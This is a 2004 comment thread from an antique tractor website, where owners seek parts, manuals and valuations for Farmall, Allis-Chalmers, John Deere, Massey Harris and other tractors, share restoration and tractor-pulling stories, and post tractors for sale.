Linus wrote on Wednesday, December 08, 2004 (PST):Looking for a WD45 LP/gas and a WD45 diesel tractors for restoration projects for a Boy Scout and 4-H clubs. Also need a diesel engine for WD45 that is in progress. Thanks for your help
chuck trowbridge wrote on Tuesday, December 07, 2004 (PST):I recently got a 1466. It is a really nice tractor and really tight. I took it to a tractor pull this summer, and everyone was like “you are going to tear it up” it has a good record at teh track. MY tractor tore it up until the turbo whined down. Then I just stopped, had nothing. The tractor was dinoed at 145 when I got it, but it has a intercooler put on it. What I am thinking it was turned down and maybe did something to the governor to get it down to 145 hp again. I was told I could push 200hp with the intercooler installed I have backed the screw out a few turns on the pump, but I can’t tell the difference, it doesn't seem like it is gettting enough fuel. When using the tractor for farm work especially pulling our 4*18 moldboard plows ti does the same thing. Pictures that people have taken when I was pulling last year showed I was putting out very little dark smoke and I know this is wrong. I am new to the scean of the 66 series. We have only ran reds. I would like to do a little better this year and just increase the all around performance of my tractor. I am 19 and am fairly mechanical, just have the experience. Could anyone help me?
warren wells wrote on Tuesday, December 07, 2004 (PST):Goodmorning, Would someone please put me in contact with someone that can give me an honest value of my tractor? It is a 1960 730 D electric start with 4-6 volt batteries. Tractor has been shedded all its life, has the original tires and original 2100 hours. I got the tractor from my great uncle 3 months ago, who bought it new in 1960. He quit farming in 1965, but would start the tractor every year and circulate the fluids for 30 minutes or so. I put 4 new batteries in it and it fired right off. I suppose to be absolutely perfect, it would need new paint, but I've heard that in it's original condition might be best. I may want to sell the tractor in the future. Warren Wells Program Manager DHS-OIG (405)522-5880
ADavid Morgan wrote on Tuesday, December 07, 2004 (PST):if the 160's are anything like the 185 or an allis chalmers thay are prone to pop out of 3'rd gear and eventually 2'nd
Michael Barrow wrote on Monday, December 06, 2004 (PST):I am looking for impletements to fot a Pony tractor. I could use anything that relates to gardening. Iam located in the Newport News, Virginia area.
Neal Breitbarth wrote on Monday, December 06, 2004 (PST):I am looking to purchase a D17 gas, series III or IV. I also need a 3 point hitch for D17. If you have either of these or know where I can find I would appreciate your help!
Ray Thornton wrote on Sunday, December 05, 2004 (PST): I've had my Lindeman for over 20 years now. It's been a good little crawler for me. Took a bucket loader off an old Masey Ferguson and adapted it to my crawler. I worked in a machine shop, so I had access to all the special tools to do the job. Used it around the house any time I needed to move dirt. I don't use it much anymore. The last couple of times that I had it out, I noticed that the steering clutches are getting weak. I took it to the Buckley Steam Show this last August. Had a lot of people looking at it. No one had ever seen one with a loader. I Met a few nice folks that have Lindemans also. It was a lot of fun. When I got this, it was just an old crawler. Now they have become kind of a colector piece.
Daniel Allen wrote on Saturday, December 04, 2004 (PST):I have G1000 Vista lp best running tractor i think i have ever used don't know why they stopped. building them.
Bill wrote on Saturday, December 04, 2004 (PST):Looking for a blade and mounting hardware and brackets for a G without hydraulics.
Bob wrote on Saturday, December 04, 2004 (PST):Hi folks still looking for front steel wheels for a Tri-cycle Rumely Do-All if anyone has information on the where abouts please contact me by e-mail. The part number is C4C419. I also need the original steering wheel also and that part number is C4C264. Thanks everyone!
tim cruse wrote on Friday, December 03, 2004 (PST):How do you mount the starter on the V-8 conversion? Explain please?? Also which clutch and pressure plate I use, the one on the tractor or from the truck??
Linda wrote on Friday, December 03, 2004 (PST):For accuracy in a story I'm writing, I would like to know if a Farmall M would ever need to have the timing adjusted. I know next to nothing about tractors and engines, and I'd really appreciate your help. Thank you!
Herb wrote on Wednesday, December 01, 2004 (PST):I own an International B275 Tractor and am looking for a Governor Diaphragm. Engine No. 75l 609 R3. If anyone knows where i can get one of these - would you email. I would greatly appreciate any help on this.
KEVIN CURRIE wrote on Wednesday, December 01, 2004 (PST):I am looking for help. I have a two way plow to go on my Massey Pony but am having trouble getting it working. I have seen same plow on other pony tractor. I can not get hold of owner. Does anyone have same plow and maybe able to help me.
Dan Stanski wrote on Wednesday, December 01, 2004 (PST):I have JD 2010 industrial diesel with a backhoe and am looking for an operators manual that has picture break downs of components and parts. Having a hard time finding one Thanks
James Coombs wrote on Tuesday, November 30, 2004 (PST):my father owned a 100 then a 140 same as pictured we used a one row trans planter with one point hitch water tank mounted on the front where the one row cultivator and the sickle mower we had mounted. had a two row corn or soy bean planter this was originaly used on the A farmal the fertilizer atachment mounted lon the sickle mower bracket. I converted the rear section to a one point hitch. I also custom built a Plastic mulch layer that i used behind the one forty .we had rear wheel weights rear wheels could be turned around and the front widened for planting corn or laying wider mulch . cultijvated a lot of tobaco and garden vegetables.
Emil Rohland wrote on Tuesday, November 30, 2004 (PST): John Doe needs a WD allis Magneto I have one plus many other parts for same also have carburetor and oilpump for 40 cockshutt
rachelle wrote on Tuesday, November 30, 2004 (PST):The serial number for the above Farmall H tractor is; FBH 5443. I was unable to find this exact letter/nmumber combination under the International or McCormick subheads under the serial lookup hyperlink.
Brandon Berg wrote on Monday, November 29, 2004 (PST):I need replacement sheet metal for my Farmall H and M such as a hood and grill. Does anyone know of a reliable parts company from who I can get these replacement parts from?
rachelle wrote on Monday, November 29, 2004 (PST):My dad has and farmall H tractor - he doesn't know the year but we have the serial number. Can we identify the tractor with the serial number?
CHARLIE wrote on Sunday, November 28, 2004 (PST):I AM LOOKING FOR A WD 45 DIESEL. WILL TAKE A WIDE FRONT OR NARROW FRONT. ANY CONDITION CONSIDERED. PLEASE EMAIL OR CALL ME AT (816)617-1977
Danièle Lavoie wrote on Sunday, November 28, 2004 (PST):Je cherche à savoie quelle valeur peut avoir un tracteur cockshutt 1953 série 35 que je possède. I try to know what is the value of my tractor Cockshutt 1953 serie 35
Malcolm Robertson wrote on Saturday, November 27, 2004 (PST):There in New Zealand i am trying to redo the motor and get the 44 Tractor going. There were a number of Massey Harris 44 Tractors in NZ .I myself spend many hours riding on one ploughing the land, as a 10 year old boy back in the 1950 in West Otago NZ
ash wrote on Saturday, November 27, 2004 (PST):my father sold his fordson major, what a nice tractor 2800 hours and original tires
ash wrote on Saturday, November 27, 2004 (PST):this weekend i picked up a massey harris 50 with loader and backhoe and needs lots work due to the frozen trans and motor this will be my first restoration and any info would be appriciated thank you
ash wrote on Saturday, November 27, 2004 (PST):this weekend i picked up a massey harris 50 with loader and backhoe and needs lots work due to the frozen trans and motor this will be my first restoration and any info would be appriciated thank you
Fred Cummings wrote on Saturday, November 27, 2004 (PST):I have 2 Oliver 440's for sale. One has a broken rear axle housing. The other has a good axle housing. Both could be used to make one excellent tractor. E-mail me for more info. Located in Lillington, NC
Alex Mohler wrote on Saturday, November 27, 2004 (PST):What is the horsepower on this tractor raterd at on the hitch? I was just wondering if it could pull an Oliver 3 bottom plow nicely through the field. ALEX
Alex Mohler wrote on Saturday, November 27, 2004 (PST):Hi! My name is Alex Mohler and I am iterested what are modles of the John Deere tractors are the old 2 cylinders. And if the tractor has enough of hitch horse power to plow with an Oliver 3 bottom molboard plow and have a nice job done in the field and the top speed.
Fred N wrote on Friday, November 26, 2004 (PST):I have a massey harris tractor pony 4- cylinder in good shape. It runs good and has had a blade made by a professional welder. I would like to know the value of the tractor to possibly sell.
William P wrote on Friday, November 26, 2004 (PST):I have a 41 M that my dad traded a 1600 Ford for. I am going to restore it but that's kinda hard when it's getting used all the time. I'm 13 years old and i'd rather use my M insted of our 1900 Ford, 6700 Ford, or our Black stripe IH 1066.
Matt Johnson wrote on Thursday, November 25, 2004 (PST):My Great Uncle Lyman Knapp who recently passed away ownes a 25 Hp Russel Steam Traction Engine. It can be seen at the Pawnee Steam in Oklahoma. I know I personally re-painted the wheels on it twice as a child. Now every time I see one of these machines, it reminds me of my wonderful experiences with my Uncle Lyman and cousin Lyman. Also my friend Ed Larson..
Ted Osborne wrote on Thursday, November 25, 2004 (PST):I have one just like it. Case Eagle 3pt. hitch and all.It is a 1951 model. I found it in a junk yard and fixed it up and have been plowing with it ,it runs and likes good.Please add mine to the list of old tractors.
Steve wrote on Thursday, November 25, 2004 (PST):I have a ford tractor with off set front end. Is is a deisel. someone ground off the i.d. info. I would like to know how to find out exactly what it is. Help would be appreciated.
Goodrich Tractor Parts wrote on Thursday, November 25, 2004 (PST):35+ Case V Series For parts (607)642-3293 NY
Rob Rozelle wrote on Thursday, November 25, 2004 (PST):I am curently rebuilding an engine to a WD. The manual says .002-.003" bearing clearance for the mains and the rods. Can anyone tell me if this is correct? It sounded a little small to me. Other engines I have done have been more than this. Any help would be greatly appreciated. Thanks, Rob
Jim Halter wrote on Wednesday, November 24, 2004 (PST):I need a hood for a MM ZB and both back rims.If anyone would know of any please let me know
Rob Shuey wrote on Wednesday, November 24, 2004 (PST):I just purchased a Sheppard SD-4. I am looking for numerous parts/parts tractor.
Brandon Markus wrote on Monday, November 22, 2004 (PST):Would like any information on parts and books about rock island tractors. Looking for intake and exhaust valves.
Ellsworth Chase wrote on Monday, November 22, 2004 (PST):I recently full restored a 1952 Super C to showroom condition -- spent ~$5500. I added a hydraulic 3 point hitch from Saginaw, as the tractor had a loader and the hydraulic ports to easily connect. The tractor was purchased new by my dad and I did the right job on it. The tractor results can be view on www.chaselinks.com.
betty gahagan wrote on Monday, November 22, 2004 (PST):Hi all you tractor people question where is the best place to sell tractor books small toy water loo boys 1/16 w9 lots of manuals lots of tractor books antique ones
Keith wrote on Sunday, November 21, 2004 (PST):Just bought a 1954 WD 45. Three questions. 1)Any suggestions on removing the steering wheel? 2)The gear shift knob is missing; there's only a steel bulge at the end of the shift lever. What should I do to get it back to original? 3)Are the decals supposed to be black or blue; I see both for sale? Thanks.
Jerry L. Robbins wrote on Sunday, November 21, 2004 (PST): I found a VA Case tractor for sale it is not running with two rear flats but the tractor is compleat can anybody give me a ballpark figure. Thanks
Jeff Cole wrote on Sunday, November 21, 2004 (PST):I am in the process of buying 2 JD model A tractors in rough shape. I'm planning on restoring one of them, the other for parts. These tractors have the narrow front end but I would like to put the wide end on. I am new to this restoring business and wondering if parts are hard to get for these tractors. Would like suggestions and any toher help I can get. Thanks Jeff
Keith wrote on Sunday, November 21, 2004 (PST):Have just purchased a 1953 Case VA, with band brakes (in WA State). One brake (right side) was totally frozen and I need parts. I have to replace the oil seals both sides. It may have to do with someone putting AUTOMATIC TRANSMISSION FLUID!?!?!?!? into the final drive. It was mixed around 75/25, but made the 90 weight red. I mostly need the internal parts, but before I have them removed, the brake housing may get damaged as well. I have been working at removing the rusted Brake Drum Nut (2" dia.) for the last week. Any ideas?? THANKS
Ivan L. Cohen wrote on Friday, November 19, 2004 (PST):I talked on the phone to gentleman in Nebraska a while back about the Rumley Paper weight in my possesion and I have misplaced his name and address. Hoping to locate him again. THANK YOU ILC
Terry L. McLaughlin wrote on Friday, November 19, 2004 (PST):Looking for loader,for my WD-45.
Bonita Larson wrote on Friday, November 19, 2004 (PST):Hello, I have a MF-97 disel with good paint and in good running condition encluding a set of duals. I have disabilities with my hands,which are forcing me to sell. I need to find a different tractor that is easier for me to shift. I do love how easy it is to get up on, what a ride.
scrany wrote on Thursday, November 18, 2004 (PST):Is anyone interested in buying a 1945 B ? It's located in S/W Missouri? I have one that is in good shape, runs well etc. just needs front tires and paint and its ready to go. Contact me if you are interested. rms31759 at mchsi.com
jerry arnold wrote on Wednesday, November 17, 2004 (PST):i am looking for a "power take off clutch" for a ford jubilee, part #T&ID 239201 it is a lever located just above the pto lever on the same plate that bolts at the same location of the pto lever on the right hand side, it's purpose is when the tractor is running with pto engaged it will move in whatever gear it is in provided the lever is pushed forward, but when lever is pushed back the tractor ceases to move but pto will continue to operate my tractor has quit pulling regardless of lever position and i need this part real bad
Adam Christensen wrote on Wednesday, November 17, 2004 (PST):I was wondering if anyone knew the value of a 1954 WD45 diesel I was looking to sell it It ran when parked 2 years ago and the body is in pretty good shape(no rust or dents)please email me If you can thanks.
Jeff Danalds wrote on Tuesday, November 16, 2004 (PST):I purchased a D17 diesel 2 years ago. It was mostly a pile of junk when I got it. Had the engine rebuilt by a great diesel machanic. it runs better now than it did when it was new. I use the tractor on my farm but have been looking for some sheet metal. The front grill and both side panels, and the tail lights on the fenders. [there not the same as a WD45] I would appriciate any ehlp al you allis fans can give me. Thanks
Howard G. wrote on Tuesday, November 16, 2004 (PST):My father and I own a 1964 140. It is a Farmall just like the top photo. We have several accessorys with it. The implements are belly mounted sickle bar mower; disk harrow; one bottom plow; two row cultivators; two row planter; front mounted blade; utility carrier; woods belly mower. The specs. say it is in the 23HP range. It is one tough tractor, we once spun both rear tire beads plowing new ground. If any one would like to ask me any questions please feel free. I am no expert but can answer most of the questions that have been asked here. We also own a Super A1, and a 200. Thank you Howard. PS If you Email me please ID the email so junk filter doesn't trash it.
Louie wrote on Monday, November 15, 2004 (PST):I have a 1958 IH 350 High Utility tractor in good condition. I was just wondering what would be a fair selling price to ask for?
roger wrote on Monday, November 15, 2004 (PST):Friend has a IH-H with the battery located under the seat--supposeibly a rare model. Would like some infor on this tractor and its value. It is very good original condition. Any infor would be appreciated.
roger wrote on Monday, November 15, 2004 (PST):Friend has a IH-H with the battery located under the seat--supposeibly a rare model. Would like some infor on this tractor and its value. It is very good original condition. Any infor would be appreciated.
Chris Woodard wrote on Monday, November 15, 2004 (PST): I have a 1958 720 John Deere Diesel and I am trying to find out how much it's worth. If anyone knows of a place or web site that could tell me I would appreciate you letting me know by sending an email to my E-mail address. It is michigandragon720 at yahoo.com. Thank you.
Frank Hofer wrote on Sunday, November 14, 2004 (PST):I am looking for a D10 or a D12 tractor either a fixer upper or one thats in good shape
Linford wrote on Sunday, November 14, 2004 (PST):Does anyone know the value of 1929 Centaur (2g) tractor. Great shape runs. Paint good ? ? ?
Brandon Jung wrote on Sunday, November 14, 2004 (PST):My father-n-law and I just got a VIAW that we are restoring. We currently have everything painted and working on the tractor but need to get a new military tire, exhaust, and seat. If anyone has any pictures of what the exhaust originaly looks like or what the seat material was please send me an email. Also if you want pictures of our tractor email and I can forward those to you.
james wrote on Sunday, November 14, 2004 (PST):my dad had one when i was a kid in the mid 60s he used it on 4row equip . later traded it for a4020 jd when he got six row equip. he always said it was the most powerful little tactor he ever saw wish i had it now
Gerry Clace wrote on Saturday, November 13, 2004 (PST):Just bought a Johndeere 710 to restore and I am looking for manuals of any kind.this unit was produced in Germany from what I've learned so far,any help at all would be greatly appreciated. Thanx Gerry
Maggie wrote on Friday, November 12, 2004 (PST):My uncle is getting ready to sell his 1950 Jubilee Ford tractor. It has been used for farming watermelons for the past several years. It seems to run very well but, of course, it looks USED. He is asking me to make an offer and I have no idea what it is worth. Can someone tell me about how much is is worth. It has a bush hog, disc, turn plow and cultivator. Thanks for your time. Maggie
Keith wrote on Thursday, November 11, 2004 (PST):I recently purchased a WD-45 and plan to restore it. What kind of sand blasting equipment do I need for stripping it in preparation for painting? Do I need to take it all the way down to the metal? After stripping it, how do I prevent rust while working on other parts of the tractor? Maybe there's a good book that I should read. Any suggestionss?
mena persaud wrote on Wednesday, November 10, 2004 (PST):i am looking for parts for Massy Ferguson model 2720 also the parts and service manual i know someone out there can help me Please feel free to contact me ASAP.Thanks
claude miller wrote on Wednesday, November 10, 2004 (PST):i grew up using a 1949 farmall cub, my dad bought it in 1955., and it was my first tractor experience, i thought at my age of 8 years that it was enormous, but now it is just a big lawn tractor nowadays. sadly enough, my dad sold it in 1978, i wish i had it now.
Tony Butler wrote on Monday, November 08, 2004 (PST):Is anything known of the Samson Iron Horse line drive tractor.
Jim Reid wrote on Monday, November 08, 2004 (PST):I have a Wallis 12-20 tractor in restorable condition, dont have time to restore and would like to sell 518-966-5103
Jason Morse wrote on Saturday, November 06, 2004 (PST):I have a 46' VAC #5050159 We bought at a local auction october of 2003. When I got her home she was put right to work hauling logs. I was impressed with the power enough so that a full resto was in order for the winter. Come spring when we rolled her out of the shop it was off to the pulls. with the tractor weighing in at 2,650# we loaded her for 3,000# class. After spinning out with too much power we went to 3,500 4,500 and then 5,500 when she was really starting to hook up great but I ran out of places to hang weight. I have to say that after all these years being a green blooded 2 cyl fan I think there might just be some flambeu red seaping in. Hey if anyone knows how I can find out more about my case where it was made, sold, and whom was her 1st owner. and any site pertaining to the VA series I would greatly appriciate it. remember too that old tractors can be a great family hobbie. Thanx
Lee Peterson wrote on Saturday, November 06, 2004 (PST):I would like to buy a model R if any one wants to sell one contact me at JohnDeereboy9400 at yahoo.com It does'nt have to be restored but needs to run and good tires.
Lee Peterson wrote on Saturday, November 06, 2004 (PST):I have a 1948 model G. I use it to move snow and haul gravel I have a sickle mower and a three bottom plow. It is not restord but I would like to get it restored. I also want another G or a B. My G was left out side for 12 years and all it took was a carberator kit a it took right of! The G is the best John Deere tractor.
Richard Pence wrote on Saturday, November 06, 2004 (PST):I have a Massey Harris Poney with tractor SR# PGA 23024, motor# N62 42934. Can someone tell me what year it was built? Thanks, Richard
Wendell wrote on Saturday, November 06, 2004 (PST):I recently Bought a 1966 Case 530 Diesel Tractor. I don't have any manuals on it. Can you tell me how much horsepower it has? Also where can I find the serial # on the tractor?
Harold Teeters wrote on Saturday, November 06, 2004 (PST):I have a 1958 Oliver gas tractor that I need to sell , it has a new clutch new PTO new seals and new paint runs great . can any one tell how to go about finding an interested buyer ?
Steve Boston wrote on Saturday, November 06, 2004 (PST):I remember spending many hours on a model U my Dad purchased in the 1960's. We were told it was a 1952 model and slightly different as I recall fromthe photo. Ours was tri-cycle type with large rear wheels - the hood actually had a slight incline rear to front. Decal on the tractor simply said U model. Had hand clutch, hand throttle, choke, gearshift, PTO engagement. The steering was a man-killer in rough ground. Huge power from the engine. Used it for silage cutting, filling and hay conditioning in southern Ohio.
Bob Parks wrote on Friday, November 05, 2004 (PST):Is a d-17 or d-19 propane narrow front a very rare tractor? What would their value be if the tractor s were in better than averafe condition? I have an allis "G" and a wd-45, but know nothing about thes tractors. Thanks
1456 pulling agenst a D-21 ac wrote on Friday, November 05, 2004 (PST):i pull a 1456 it has a 4100 IH flywheel and clutch and lots more goodies.my 1456 has pulled 12000. i won the 12,000 lb class.a challenge was issued that i could not beat a pretty warm 15,000 lb class D-21 AC from our area. Bets were placed on the outcome. but my 1456 has a few more ponies under the hood. we both made full pulls. we came back around for the pull off. they added more weigh to the sled. the D-21 pull it short of a full pull. the old 1456 tightened the chain and blew it out the end. the ac people were shocked. i was a go sport about it and shook the D-21 drivers hand. he said you have a good runnin tractor. i said so do you and good pull. i sher do hav a lot of fun pulling that ol 1456.
Cody Isaak wrote on Friday, November 05, 2004 (PST):I have a Farmall A that I am restoring. I am going to use it for harrowing we use it for sawing wood.If anyone has a back tire for Farmall A please e-mail me.
Butch Baker wrote on Friday, November 05, 2004 (PST):I'm looking for following pieces for a '55 =/- Fordson Major Tachometer Tach cable Headlight lens Grill shell inserts Please contact me by e-mail or 281-324-1654
Zeb James wrote on Thursday, November 04, 2004 (PST):I am considering purchasing a ford 8N tractor to convert into a funk V8. What is the going price for fair shaped tractor of this kind that needs some attention but not too much. I also would like to know where I can purchase a Funk V8 conversion.
Zeb James wrote on Thursday, November 04, 2004 (PST):I am considering purchasing a ford 8N tractor to convert into a funk V8. What is the going price for fair shaped tractor of this kind that needs some attention but not too much. I also would like to know where I can purchase a Funk V8 conversion.
Okie Newton wrote on Thursday, November 04, 2004 (PST):I saw one of these just the other day when I unloaded a tractor for a guy. It looked awesome. Since it was the first one I have ever seen in person the guy started it up and let it run for a minute or so. It was something I'll remember a long time.
george dyck wrote on Wednesday, November 03, 2004 (PST):i have used a d17 series 4 on the farm since 1970. had the starter rebuilt and brakes replaced.that's it. geat little tractor.
mark wrote on Tuesday, November 02, 2004 (PST):i have a W6 it is a really good tractor and runs great
Gijs van Wijk sr. wrote on Tuesday, November 02, 2004 (PST):My father bought one on 28- 05 - 1949, the price of this tractor was Fl. 2250,00, then it was a lot of money, but he wanted to have one. in June 1951, my father past away, he was only 43 jears old, on that time I was 5 jears old, but I can remember that tractor very good, I have a picture of it on my desk. p.s. sorry for my bad englisch. Greetings from the Netherlands.
Bill wrote on Monday, November 01, 2004 (PST):I have a 46 GM that I still use 150-200hrs a year. Just plowed a couple of acres with it. Its "fixed up" and painted. Wouldnt call it restored though. I have an old farmhand 6011 loader that I put on it to plow snow in the winter. I always intend to put it in the shop and totally restore it but I can imagine going without running it for the year or so it would take. Ive even started buying other tractors thinking that would give the ole G the break it needs to get a new lease on life. What a fine piece of machinery the G is.
Gary wrote on Monday, November 01, 2004 (PST):Where can I find a guide for the placement of Farmall H decals?
Neil Sharpe wrote on Sunday, October 31, 2004 (PST):I recently purchased Massey manuals of different varieties anyone interested in purchasing some.......can contact me at jimmers at kos.com.......I would like to add I live in Ontario, Canada.
Richard Robinson wrote on Saturday, October 30, 2004 (PDT):A widow friend of mine has a restored IH Farmall Cub (not sure what year) that she wants to sell. Location is Borrego Springs CA 90 miles from LA or San Diego. Her husband bought the basic unit is god offal condition, lots missing, rusted, a real junker. He was an aviation machanic and was used to total restoration. The unit was totall disassembled, every part was bead blasted, primed and repainted. Many parts were bought from all over the US including from IH. He paid $1500 for the junker, spent another $4K to $6K in parts and perhaps >1000 hours. It looks & runs like new, I would bet he rebuilt the engine but not sure, used very little since restore. A real collectors item. QUESTION; What is the best way to sell it and get a fair price? I have about 20 photos if you are interested. Richard
gerald schmidt wrote on Friday, October 29, 2004 (PDT):Does anyone know where I might buy a operators manual for a McCormick Deering 22-36 tractor.
John Gleason wrote on Thursday, October 28, 2004 (PDT):How do I get information on a tractor listed in your listings.I'am trying to find out information about a front loader for a International 300 utility tractor.I would apprecepiate any help that you can give me. thank you. John
bob trail wrote on Thursday, October 28, 2004 (PDT):for sale 60 standard orchard tractor for sale. standard serial#6000001-6042999, ORCHARD SERIAL#6000001-6199999. RUNS GOOD HAS NEW RADIATOR ,cutch ,pessure plate,battery,rebuilt starter. fair rubber. asking $3500.00 bob trail 301-478-2296
John wrote on Thursday, October 28, 2004 (PDT):I own a 49' G that I've just started to restore.WF and big fenders this is going to be a parade tractor.Nothing sounds like a G when it's working hard
Kevin wrote on Thursday, October 28, 2004 (PDT):I just bought a 1953 Super md the serial number is f-12810-j the man said that is hasen't run in 3 years. It isen't seized but he said they had a prdoblem with the starter. This is my second tractor to restore my first was a smta. The deisel looks alot tougher. Any help would be appreciated.
MR. BIG AND RREEDD wrote on Tuesday, October 26, 2004 (PDT):i own two 1468 original black stripes they sure a pretty to look at and sure sound good but they are nuthin but a big friggin boat anchor IH FOREVER AMEN!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Terry Boone wrote on Monday, October 25, 2004 (PDT):I am the owner of a fairly mint condition Leader tractor, but I don't know much about it. Is there somewhere on the tractor where I might find the serial number or any other distinguishing marking. At some point in time a prior owner converted the electrical system from 6 voltd to 12 volts. Now the electrical system is driving me crazy. I have replaced the coil twice, the on/off switch and the starter switch. Now I'm trying to replace the alternator, but I haven't been able to figure out what manufacturer or car type the current alternator is. If anyone has any suggestions I would be happy to hear from you. Terry p.s. I would consider a trade for a Ford 8N in comparable condition.
KAREN KIRBY wrote on Monday, October 25, 2004 (PDT):Does anyone out there know if there is such a tractor or have a picture of a 1970 Cub? Thanks.
LEONARD WAYNE LOWTHIAN wrote on Sunday, October 24, 2004 (PDT):great photo...iv got one but th wheels are orange. Its a great tractor...does all thats asked of it and never even gets short of breath
tom oconnell wrote on Sunday, October 24, 2004 (PDT):my father farmed with this tractor for many years but solded it before i took over the farm i wish i had it when i farmed it was a good old tractor its a minn moline kt or kta made only three years from 1934 to 1937
kirkC wrote on Friday, October 22, 2004 (PDT):Man o man, thats a sweet looking 220, But where are the fender skirt,s,It would look so much better with them on, oh well It,s still a sweet tractor,
Sean Mc Nulty wrote on Tuesday, October 19, 2004 (PDT):I have a MH744pd going and complete.I also have a MHd744 complete but no motor.the 744pd has front blade and the 744d has front bucket.They are both for sale.I live in N.S.W Australia.Contact me on blown2door at hotmail.com
Mark Slagle wrote on Tuesday, October 19, 2004 (PDT):I recently purchased a MH 55 (1953?) and would like to find out more about it. What I know is its a strong runner it has a 351ci 4 cylinder a weak hydro pump a belt drive for a saw?? I would say the tractor is in above aveage condition and it came with a brush hog. What I want to know is if anyone has mounted a 3point hitch on one? The horsepower? Original paint colors? What else the belt drive can be used for? please let me know if you have any info? additional pics would be cool also. thanks in advance
Ron Dennis wrote on Monday, October 18, 2004 (PDT):I have a Farmall M, serial number FBK 53009. Does anyone out ther know what year this tractor was built, or know of a web site that has that information?
Gerald Slaton wrote on Sunday, October 17, 2004 (PDT):I have a WC serial # WC91193.It has been sitting for a few years.I just bought a starter and two tires.I decided to sell it.I live in Northeastern Pa.Not sure what it is worth.My father is going to get it back running this week.Could anyone tell me if it is a desirable collectors item?
Darrell Freeman wrote on Sunday, October 17, 2004 (PDT):My uncle and I have started the old TO-20 I am trying to figureout how the pto attaches to the cutting deck the shaft on the deck is splined the TO-20 is square. .if you can help just email thanks Darrell.
Jon Schultz wrote on Sunday, October 17, 2004 (PDT):My dad and grandpa farmed with a 2010 NF gas row crop in northwest Illinois. I believe it was traded to an IHC dealership in Shullsburg, WI in the late '70's for a Farmall 450. I know it is a needle in a haystack, but I would like to find this tractor. If anyone out there purchased one or knows someone who purchased one from Blackbourn Implement in this time frame, I would really appreciate hearing from you. Thanks.
Rob wrote on Sunday, October 17, 2004 (PDT):Say would anyone out their happen To have a good Seat bracket John Deere # AM1341-T and also front idler bracket TE232Y in very good shape please let me know-Rob;
Cole Thomas wrote on Saturday, October 16, 2004 (PDT):I have a 49-50 dc4. Where was the toolbox accually mounted? My number is (218)3346447 thanks lots cole
Bob Freije wrote on Friday, October 15, 2004 (PDT):I have two 1953 WD45's narrow fronts. They run good and ready to work. PTO and Hydraulics live. Fenders rough but solid,all of tractor very restorable. One tractor has a working beltpulley.See pix on tractor pictures under 1953 WD45 with Beltpulley BFreije, or 1953 WD45 BFreije I would like $1800 each Call 317-852-7204.
Bob Freije wrote on Friday, October 15, 2004 (PDT):I own a 1951 "G" tractor. It runs great ,has hydraulics middle and back. It comes with a 4' belly bushog,and cultivators. It is ready to work. See picture in tractor photos 1951 "G" BfFreije. Would sell for $3500. 317-852- 7204
steve lee wrote on Friday, October 15, 2004 (PDT):we have a 1959 gold 871 ford sos, would like information on this tractor. also any help as to it's value, thanks ahead of time steve
Wayne Swartz wrote on Thursday, October 14, 2004 (PDT):Have two D-17's (going to keep one & sell one) in southwest Pa. A series I and a series III.
Mac wrote on Thursday, October 14, 2004 (PDT):I have a freind that is restoring a JD "H" and needs some engine parts. He mainly needs a head and governor parts. If someone has parts, let me know and I'll put you in touch with him or he can call you.
Joe Rowe wrote on Thursday, October 14, 2004 (PDT):Upon the death of my father, I returned to my ma out in the country (Michigan) and found an Oliver 550 put together in the barn from at least one other Oliver. I've been able to get the tractor running and want to change the oil. It has a NAPA filter (1105) on it, so I figured on putting another filter with the same # on it. However since I cannot find a manual could anyone tell me the weight/type of oil and approximately how much should go into the crankcase? Any info would be greatly appreciated. Thanks
carl wrote on Wednesday, October 13, 2004 (PDT):i have an ac b like in picture. want to sell. run good.
J. R . ALLEN wrote on Tuesday, October 12, 2004 (PDT):does anyone out there have any information on a B-275 international diesel utility tractor. i am in middle tennessee and no one anound here has heard of it.
JimBroughton wrote on Tuesday, October 12, 2004 (PDT):To; James Barrett, re; gas tank,59 Cub...does it leak? or is it rust? is the threads on the shut-off valve/fuel bowl tight? or do they leak?..Remember, those tanks have a "baffle" in them to allow the tractor to work on uneven terrain, so if it's rust, it's "cleanable", but rather involved...I know, I had to clean mine several times until I got the rust out ! Post on here, or E-mail me and I will try to help. LOL, Jim
Don Stickelmaier wrote on Tuesday, October 12, 2004 (PDT):Does anyone out there have serial numbers for LI tractors after 1946. I have one with the serial number IL52482 can anyone tell what year this is any where i can get a wiring diagram thanks Don
brian maddox wrote on Monday, October 11, 2004 (PDT):i have a d-17 for sale with all the original equipment make offer !! 254-576-1537
raymond goeckler wrote on Monday, October 11, 2004 (PDT):i owned a '54 ih w-6,replaced pistons with domed 4",valves wih,rotoators,,hydrulics,build 3 pt.hitch,for it back in'64,it would go 25 mph in 5th.,pull 6ft wide disc tiller,great in rice field,haying,4 row middlebusters.
Darren B. wrote on Monday, October 11, 2004 (PDT):Hello all, my step father passed away suddenly in April and left an old tractor that was his pride and joy. It's a Cub but that's about all I know. My Mother can't operate this wonderful piece of history so we must sell it. Could someone please tell me what year this tractor is and what it might be worth? It's a IH Farmall Cub, on the RH side of the the frame is stamped 351686, on the LH side of the motor is stamped 251341R6. The tractor starts and runs just fine, has been well cared for and has no rust. There is no Hydraulic PTO, but it comes with a mower deck, a disc, and cultivator (?). Thanks in advance for any help!
Charles Lane wrote on Monday, October 11, 2004 (PDT):I was born and raised in Wilton Calif in 1946. During the late 40's My dad bought an ID9 in order to retire his 1920's era farmall. That ID9 was a working powerhouse, it pulled a GeeBee scraper,12ft double gang disk, a two point ripper (which you need in the hardpan dirt here in the northern San Jaquine Valley). It was sure neet to start the ID9, you started it on gasoline then after it was warmed up you swiched it over to diesel. The Farmall was retired over to haying duties ( mowing,raking, and bailing). In 1953 both tractors were retired due to the fact my dad bought a Furgeson TO35. Does any one have any info on my dad's Farmall? What model was it and so forth.... It's easy to reconize It had Rack & Pinion stearing not the worm gear as in 90% of the photos. Thanks
Frank wrote on Monday, October 11, 2004 (PDT):The timing gear broke and went through the cover on my 1958 Fordson Dexta Petrol tractor. It has the British Vanguard Standard engine. I'm looking for another cover or a source for parts.
